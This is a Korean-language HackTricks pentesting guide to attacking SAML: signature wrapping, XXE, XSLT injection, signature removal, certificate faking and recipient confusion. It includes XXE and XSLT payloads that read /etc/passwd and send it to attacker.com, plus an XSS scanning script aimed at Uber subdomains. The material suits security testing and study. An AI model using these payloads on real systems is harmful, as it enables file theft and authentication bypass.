hacktricks/pentesting-web/saml-attacks

SAML 공격

SAML 공격

htARTE (HackTricks AWS Red Team Expert)를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요!

HackTricks를 지원하는 다른 방법:

• 회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드하려면 SUBSCRIPTION PLANS를 확인하세요!
• 공식 PEASS & HackTricks 스웨그를 얻으세요.
• The PEASS Family를 발견하세요. 독점적인 NFTs 컬렉션입니다.
• 💬 Discord 그룹 또는 텔레그램 그룹에 참여하거나 Twitter 🐦 @carlospolopm를 팔로우하세요.
• HackTricks와 HackTricks Cloud github 저장소에 PR을 제출하여 해킹 트릭을 공유하세요.

기본 정보

{% content-ref url="saml-basics.md" %} saml-basics.md {% endcontent-ref %}

도구

SAMLExtractor: URL 또는 URL 목록을 입력받아 SAML 소비 URL을 출력하는 도구입니다.

XML 라운드트립

XML에서 XML의 서명된 부분은 메모리에 저장되고, 일부 인코딩/디코딩이 수행되며 서명이 확인됩니다. 이상적으로는 인코딩/디코딩이 데이터를 변경하지 않아야 하지만, 이러한 시나리오에 따라 확인되는 데이터와 원래 데이터가 동일하지 않을 수 있습니다.

예를 들어, 다음 코드를 확인하세요:

require 'rexml/document'

doc = REXML::Document.new <<XML
<!DOCTYPE x [ <!NOTATION x SYSTEM 'x">]><!--'> ]>
<X>
<Y/><![CDATA[--><X><Z/><!--]]>-->
</X>
XML

puts "First child in original doc: " + doc.root.elements[1].name
doc = REXML::Document.new doc.to_s
puts "First child after round-trip: " + doc.root.elements[1].name

프로그램을 REXML 3.2.4 이전 버전에 대해 실행하면 다음과 같은 출력이 나타납니다:

First child in original doc: Y
First child after round-trip: Z

다음은 위의 프로그램에서 REXML이 원래 XML 문서를 본 방식입니다:

그리고 다음은 파싱 및 직렬화 한 후에 본 방식입니다:

취약점 및 해당 취약점을 악용하는 방법에 대한 자세한 정보는 다음을 참조하십시오:

• https://mattermost.com/blog/securing-xml-implementations-across-the-web/
• https://joonas.fi/2021/08/saml-is-insecure-by-design/

XML 서명 래핑 공격

**XML 서명 래핑 공격 (XSW)**에서는 적대자가 XML 문서가 서명 유효성 검사 및 기능 호출 두 가지 다른 단계를 거치면서 발생하는 취약점을 악용합니다. 이러한 공격은 XML 문서 구조를 변경하는 것을 포함합니다. 구체적으로, 공격자는 XML 서명의 유효성을 손상시키지 않는 위조된 요소를 주입합니다. 이 조작은 응용 프로그램 로직에서 분석되는 요소와 서명 확인 모듈에서 확인되는 요소 사이에 불일치를 만들기 위한 것입니다. 결과적으로, XML 서명은 기술적으로 유효하고 확인을 통과하지만, 응용 프로그램 로직은 위조된 요소를 처리합니다. 따라서 공격자는 XML 서명의 무결성 보호 및 원본 인증을 우회하여 감지되지 않고 임의의 콘텐츠를 주입할 수 있습니다.

다음 공격은 **이 블로그 게시물 및 이 논문**을 기반으로 합니다. 자세한 내용은 해당 자료를 확인하십시오.

XSW #1

• 전략: 서명이 포함된 새로운 루트 요소가 추가됩니다.
• 영향: 유효성 검사기는 정당한 "Response -> Assertion -> Subject"와 공격자의 "악성 Response -> Assertion -> Subject" 사이에서 혼란스러워질 수 있으며, 데이터 무결성 문제가 발생할 수 있습니다.

XSW #2

• XSW #1과의 차이점: 포장된 서명 대신 분리된 서명을 사용합니다.
• 영향: XSW #1과 유사한 "악성" 구조는 무결성 검사 후 비즈니스 로직을 속이기 위해 만들어졌습니다.

XSW #3

• 전략: 원본 assertion과 동일한 계층 수준에서 악성 Assertion을 작성합니다.
• 영향: 악성 데이터를 사용하도록 비즈니스 로직을 혼란스럽게 만들기 위한 것입니다.

XSW #4

• XSW #3과의 차이점: 원본 Assertion이 복제된(악성) Assertion의 하위 요소가 됩니다.
• 영향: XSW #3과 유사하지만 XML 구조를 더 공격적으로 변경합니다.

XSW #5

• 독특한 측면: 서명 및 원본 Assertion이 표준 구성(포장/포장되지 않음/분리)을 따르지 않습니다.
• 영향: 복사된 Assertion이 서명을 포장하여 예상되는 문서 구조를 수정합니다.

XSW #6

• 전략: XSW #4 및 #5와 유사한 위치 삽입을 사용하지만 약간의 변화가 있습니다.
• 영향: 복사된 Assertion이 서명을 포장하고, 서명이 원본 Assertion을 포장하여 중첩된 속임수 구조를 만듭니다.

XSW #7

• 전략: 복사된 Assertion을 자식으로 포함하는 확장 요소가 삽입됩니다.
• 영향: 이는 Extensions 요소의 제한이 적은 스키마를 악용하여 스키마 유효성 검사 대책을 우회합니다. 특히 OpenSAML과 같은 라이브러리에서 이용됩니다.

XSW #8

• XSW #7과의 차이점: 다른 제한이 적은 XML 요소를 사용하여 변형된 공격을 수행합니다.
• 영향: 원본 Assertion이 제한이 적은 요소의 자식 요소가 되어 XSW #7에서 사용된 구조를 뒤집습니다.

도구

Burp 확장 프로그램 SAML Raider를 사용하여 요청을 구문 분석하고 선택한 XSW 공격을 적용하고 실행할 수 있습니다.

XXE

XXE 공격의 종류를 모르는 경우, 다음 페이지를 읽어보십시오:

{% content-ref url="../xxe-xee-xml-external-entity.md" %} xxe-xee-xml-external-entity.md {% endcontent-ref %}

SAML 응답은 압축 및 base64로 인코딩된 XML 문서이며, XML 외부 엔티티 (XXE) 공격에 취약할 수 있습니다. SAML 응답의 XML 구조를 조작함으로써 공격자는 XXE 취약점을 악용할 수 있습니다. 이러한 공격은 다음과 같이 시각화될 수 있습니다:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY    file SYSTEM "file:///etc/passwd">
<!ENTITY dtd SYSTEM "http://www.attacker.com/text.dtd" >]>
<samlp:Response ... ID="_df55c0bb940c687810b436395cf81760bb2e6a92f2" ...>
<saml:Issuer>...</saml:Issuer>
<ds:Signature ...>
<ds:SignedInfo>
<ds:CanonicalizationMethod .../>
<ds:SignatureMethod .../>
<ds:Reference URI="#_df55c0bb940c687810b436395cf81760bb2e6a92f2">...</ds:Reference>
</ds:SignedInfo>
<ds:SignatureValue>...</ds:SignatureValue>
[...]

도구

SAML Raider라는 Burp 확장 프로그램을 사용하여 SAML 요청에서 POC를 생성하여 가능한 XXE 취약점과 SAML 취약점을 테스트할 수도 있습니다.

또한 이 토크를 확인하세요: https://www.youtube.com/watch?v=WHn-6xHL7mI

SAML을 통한 XSLT

XSLT에 대한 자세한 정보는 다음으로 이동하세요:

{% content-ref url="../xslt-server-side-injection-extensible-stylesheet-language-transformations.md" %} xslt-server-side-injection-extensible-stylesheet-language-transformations.md {% endcontent-ref %}

확장 가능한 스타일시트 언어 변환(XSLT)은 XML 문서를 HTML, JSON 또는 PDF와 같은 다양한 형식으로 변환하는 데 사용될 수 있습니다. XSLT 변환은 디지털 서명의 검증 전에 수행됩니다. 이는 유효한 서명 없이도 공격이 성공할 수 있음을 의미합니다. 자체 서명 또는 잘못된 서명만으로도 충분합니다.

이곳에서는 이러한 유형의 취약점을 확인하기 위한 POC를 찾을 수 있으며, 이 섹션의 시작 부분에서 언급된 hacktricks 페이지에서 페이로드를 찾을 수 있습니다.

<ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
...
<ds:Transforms>
<ds:Transform>
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="doc">
<xsl:variable name="file" select="unparsed-text('/etc/passwd')"/>
<xsl:variable name="escaped" select="encode-for-uri($file)"/>
<xsl:variable name="attackerUrl" select="'http://attacker.com/'"/>
<xsl:variable name="exploitUrl" select="concat($attackerUrl,$escaped)"/>
<xsl:value-of select="unparsed-text($exploitUrl)"/>
</xsl:template>
</xsl:stylesheet>
</ds:Transform>
</ds:Transforms>
...
</ds:Signature>

도구

SAML Raider라는 Burp 확장 프로그램을 사용하여 SAML 요청에서 POC를 생성하여 가능한 XSLT 취약점을 테스트할 수도 있습니다.

또한 이 토픽을 확인하세요: https://www.youtube.com/watch?v=WHn-6xHL7mI

XML 서명 제외

XML 서명 제외는 Signature 요소가 없을 때 SAML 구현의 동작을 관찰합니다. 이 요소가 누락되면 서명 유효성 검사가 발생하지 않을 수 있으므로 취약점이 발생할 수 있습니다. 일반적으로 서명으로 확인되는 내용을 변경하여 이를 테스트할 수 있습니다.

도구

SAML Raider라는 Burp 확장 프로그램을 사용할 수도 있습니다. SAML 응답을 가로채고 Remove Signatures를 클릭합니다. 이렇게 하면 모든 Signature 요소가 제거됩니다.

서명이 제거된 상태에서 요청이 대상으로 진행되도록 허용합니다. 서비스에서 서명이 필요하지 않은 경우

인증서 위조

인증서 위조는 서비스 제공자(SP)가 신뢰하는 신뢰할 수 있는 신원 제공자(IdP)에 의해 SAML 메시지가 서명되었는지를 올바르게 확인하는지 테스트하는 기술입니다. 이는 SAML Raider를 사용하여 SAML 응답 또는 어설션에 자체 서명된 인증서를 사용하여 SP와 IdP 간의 신뢰 검증 프로세스를 평가하는 데 도움이 됩니다.

인증서 위조 수행 방법

다음 단계는 SAML Raider Burp 확장 프로그램을 사용하여 프로세스를 개요화한 것입니다.

1. SAML 응답을 가로챕니다.
2. 응답에 서명이 포함되어 있는 경우 Send Certificate to SAML Raider Certs 버튼을 사용하여 인증서를 SAML Raider Certs로 보냅니다.
3. SAML Raider Certificates 탭에서 가져온 인증서를 선택하고 Save and Self-Sign을 클릭하여 원본 인증서의 자체 서명된 복제본을 생성합니다.
4. Burp의 Proxy에서 가로챈 요청으로 돌아갑니다. XML 서명 드롭다운에서 새로운 자체 서명된 인증서를 선택합니다.
5. Remove Signatures 버튼으로 기존 서명을 제거합니다.
6. (Re-)Sign Message 또는 (Re-)Sign Assertion 버튼을 사용하여 새 인증서로 메시지 또는 어설션에 서명합니다.
7. 서명된 메시지를 전달합니다. 성공적인 인증은 SP가 자체 서명된 인증서로 서명된 메시지를 수락하는 것을 의미하며, SAML 메시지의 유효성 검증 프로세스에서 잠재적인 취약점을 드러냅니다.

토큰 수령자 혼동 / 서비스 제공자 대상 혼동

토큰 수령자 혼동 및 서비스 제공자 대상 혼동은 서비스 제공자가 응답의 의도된 수령자를 올바르게 검증하는지 확인하는 것입니다. 즉, 서비스 제공자는 다른 제공자를 위해 응답이 의도된 경우 인증 응답을 거부해야 합니다. 여기에서 중요한 요소는 SAML 응답의 SubjectConfirmationData 요소 내에 있는 수령자(Recipient) 필드입니다. 이 필드는 Assertion을 보내야 하는 URL을 지정합니다. 실제 수령자가 의도된 서비스 제공자와 일치하지 않는 경우 Assertion은 유효하지 않은 것으로 간주되어야 합니다.

작동 방식

SAML 토큰 수령자 혼동(SAML-TRC) 공격이 가능하려면 특정 조건을 충족해야 합니다. 첫째, 서비스 제공자(SP-Legit)에 유효한 계정이 있어야 합니다. 둘째, 대상 서비스 제공자(SP-Target)는 SP-Legit을 제공하는 동일한 신원 제공자에서 토큰을 수락해야 합니다.

이러한 조건 하에서 공격 과정은 간단합니다. 공유된 신원 제공자를 통해 SP-Legit과의 실제 세션이 시작됩니다. 신원 제공자에서 SP-Legit으로의 SAML 응답이 가로채집됩니다. 이 가로채진 SAML 응답은 원래 SP-Legit을 위해 의도되었지만 SP-Target로 리디렉션됩니다. 이 공격의 성공은 SP-Target이 Assertion을 수락하고 SP-Legit에 사용된 동일한 계정 이름으로 리소스에 액세스를 허용하는 것으로 측정됩니다.

# Example to simulate interception and redirection of SAML Response
def intercept_and_redirect_saml_response(saml_response, sp_target_url):
"""
Simulate the interception of a SAML Response intended for SP-Legit and its redirection to SP-Target.

Args:
- saml_response: The SAML Response intercepted (in string format).
- sp_target_url: The URL of the SP-Target to which the SAML Response is redirected.

Returns:
- status: Success or failure message.
"""
# This is a simplified representation. In a real scenario, additional steps for handling the SAML Response would be required.
try:
# Code to send the SAML Response to SP-Target would go here
return "SAML Response successfully redirected to SP-Target."
except Exception as e:
return f"Failed to redirect SAML Response: {e}"

로그아웃 기능에서의 XSS

원본 연구는 이 링크를 통해 확인할 수 있습니다.

디렉토리 무차별 대입 과정에서 로그아웃 페이지를 발견했습니다.

https://carbon-prototype.uberinternal.com:443/oidauth/logout

해당 링크에 접속하면 다음으로 리디렉션됩니다:

https://carbon-prototype.uberinternal.com/oidauth/prompt?base=https%3A%2F%2Fcarbon-prototype.uberinternal.com%3A443%2Foidauth&return_to=%2F%3Fopenid_c%3D1542156766.5%2FSnNQg%3D%3D&splash_disabled=1

이로써 base 매개변수가 URL을 허용한다는 것이 밝혀졌습니다. 이를 고려하여 URL을 javascript:alert(123);로 대체하여 XSS (크로스 사이트 스크립팅) 공격을 시도하는 아이디어가 나왔습니다.

대규모 악용

이 연구에서:

SAMLExtractor 도구를 사용하여 uberinternal.com의 하위 도메인을 분석하여 동일한 라이브러리를 사용하는 도메인을 찾았습니다. 이후 oidauth/prompt 페이지를 대상으로 하는 스크립트가 개발되었습니다. 이 스크립트는 데이터를 입력하고 출력에 반영되는지 확인하여 XSS (크로스 사이트 스크립팅)를 테스트합니다. 입력이 실제로 반영되는 경우, 스크립트는 해당 페이지를 취약점이 있는 것으로 표시합니다.

import requests
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
from colorama import init ,Fore, Back, Style
init()

with open("/home/fady/uberSAMLOIDAUTH") as urlList:
for url in urlList:
url2 = url.strip().split("oidauth")[0] + "oidauth/prompt?base=javascript%3Aalert(123)%3B%2F%2FFady&return_to=%2F%3Fopenid_c%3D1520758585.42StPDwQ%3D%3D&splash_disabled=1"
request = requests.get(url2, allow_redirects=True,verify=False)
doesit = Fore.RED + "no"
if ("Fady" in request.content):
doesit = Fore.GREEN + "yes"
print(Fore.WHITE + url2)
print(Fore.WHITE + "Len : " + str(len(request.content)) + "   Vulnerable : " + doesit)

참고 자료

• https://epi052.gitlab.io/notes-to-self/blog/2019-03-07-how-to-test-saml-a-methodology/
• https://epi052.gitlab.io/notes-to-self/blog/2019-03-13-how-to-test-saml-a-methodology-part-two/\
• https://epi052.gitlab.io/notes-to-self/blog/2019-03-16-how-to-test-saml-a-methodology-part-three/
• https://blog.fadyothman.com/how-i-discovered-xss-that-affects-over-20-uber-subdomains/

htARTE (HackTricks AWS Red Team Expert)를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요!

HackTricks를 지원하는 다른 방법:

• 회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드하려면 SUBSCRIPTION PLANS를 확인하세요!
• 공식 PEASS & HackTricks 상품을 구매하세요.
• The PEASS Family를 발견하세요. 독점적인 NFTs 컬렉션입니다.
• 💬 Discord 그룹 또는 텔레그램 그룹에 참여하거나 Twitter 🐦 @carlospolopm을 팔로우하세요.
• HackTricks와 HackTricks Cloud github 저장소에 PR을 제출하여 여러분의 해킹 기법을 공유하세요.